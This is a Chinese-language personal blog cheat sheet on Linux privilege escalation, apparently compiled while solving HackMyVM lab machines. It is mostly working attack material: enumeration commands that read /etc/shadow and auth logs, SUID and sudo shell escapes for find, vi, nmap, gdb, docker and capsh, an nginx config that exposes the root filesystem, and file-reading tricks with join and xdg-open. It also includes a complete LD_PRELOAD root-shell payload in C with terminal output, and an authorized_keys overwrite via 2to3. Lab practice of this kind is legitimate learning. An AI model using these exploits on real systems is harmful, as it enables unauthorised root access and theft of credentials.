linux提权随笔

2025-12-18

在做hackmym有一些提权的方法,在这里记录一下

基础的信息收集


whoami # 获取当前用户名
id # 获取当前用户权限
uname -a # 获取系统信息
cat /etc/passwd | grep -v "nologin" | grep -v "false" # 获取所有用户信息
cat /etc/group | grep -v "nogroup" | grep -v "nobody" # 获取所有用户组信息
cat /etc/shadow | grep -v "^#" | grep -v "^$" # 获取所有用户密码信息 这个看是否有权限访问
cat /etc/hosts # 获取所有主机信息
cat /etc/hostname # 获取主机名
cat /etc/resolv.conf # 获取DNS信息
find / -type f -perm -4000 2>/dev/null # 获取所有SUID文件
sudo -l # 获取当前用户权限
crontab -l # 获取计划任务
cat /etc/crontab # 获取计划任务
cd /home; ls -al # 列出所有用户目录
ls /home/* -al # 列出所有用户目录下的文件
cat /var/log/auth.log # 获取登录日志
netstat -pantul # 获取所有端口信息
ps auxf # 获取所有进程信息

service --status-all # 获取所有服务信息
cat /etc/services # 获取所有服务信息
jobs -l # 获取所有后台任务

一些提权方法

suid 提权

find / -type f -perm -4000 2>/dev/null # 获取所有SUID文件

# 一些提权命令
# find:
find . -exec /bin/sh \; -quit
# hping:
# 输入hping3进入交互模式然后输入/bin/bash
# vi:
vi -c ":!/bin/sh" /dev/null
# nmap:
nmap --interactive
# gdb:
gdb -nx -ex '!sh' -ex quit
# man
# 输入man 进入交互模式然后输入/bin/bash
# docker:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 参数介绍:
# -v /:/mnt:将主机的根目录挂载到容器的/mnt目录下。
# --rm:删除容器实例。
# -it:指定容器的输入输出方式。
# alpine:指定要使用的镜像。
# chroot /mnt sh:进入容器的根目录并执行/bin/sh命令。
# 输入docker run -v /:/mnt --rm -it alpine chroot /mnt sh进入交互模式然后输入/bin/bash
# capsh:
./capsh --gid=0 --uid=0 --
# nginx: 这个是sudo提权

nginx:
sudo /usr/sbin/nginx -c /home/john/nginx.conf # 编辑一个配置文件,然后运行nginx -c 配置文件
# 配置文件内容如下:
“”“
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
        worker_connections 768;
}
http {
        server {
                listen 1234;
                root /;
                autoindex on;
        }
}
“”“
# sulogin:
export SUSHELL=提权脚本 # 设置提权脚本
sulogin -e
# 输入sulogin -e进入交互模式然后输入/bin/bash

# join:
/usr/sbin/join /etc/passwd  /etc/shadow # 将两个文件进行join读取密码

# xdg-open:
sudo xdg-open /etc/shadow # 读取文件
xdg-mime query default text/plain # 获取默认的文本编辑器

LD_PRELOAD劫持

编辑payload

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void inject()__attribute__((constructor));

void inject() {
	unsetenv("LD_PRELOAD");
	setuid(0);
	setgid(0);
	system("/bin/bash");
}

编译并运行

icarus@icarus:/tmp$ nano exploit.c
icarus@icarus:/tmp$ chmod +x exploit.c 
icarus@icarus:/tmp$ gcc  -fPIC -shared -o exploit.so exploit.c
icarus@icarus:/tmp$ sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/id
root@icarus:/tmp# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

2to3提权

# 覆写私钥

lover@light:/tmp$ sudo /usr/bin/2to3-2.7 -w -n authorized_keys -o /root/.ssh/authorized_keys

sudo提权

sudo -l # 获取当前用户权限
之后结合描述进行提权

ssh密钥覆写

这个提权方法需要ssh密钥,这个密钥需要放在/root/.ssh/authorized_keys文件中,然后执行sudo -l命令查看当前用户权限,然后结合描述进行提权

计划任务提权

cat /etc/crontab
# 需要查看计划任务是否可写

就这些以后在接着写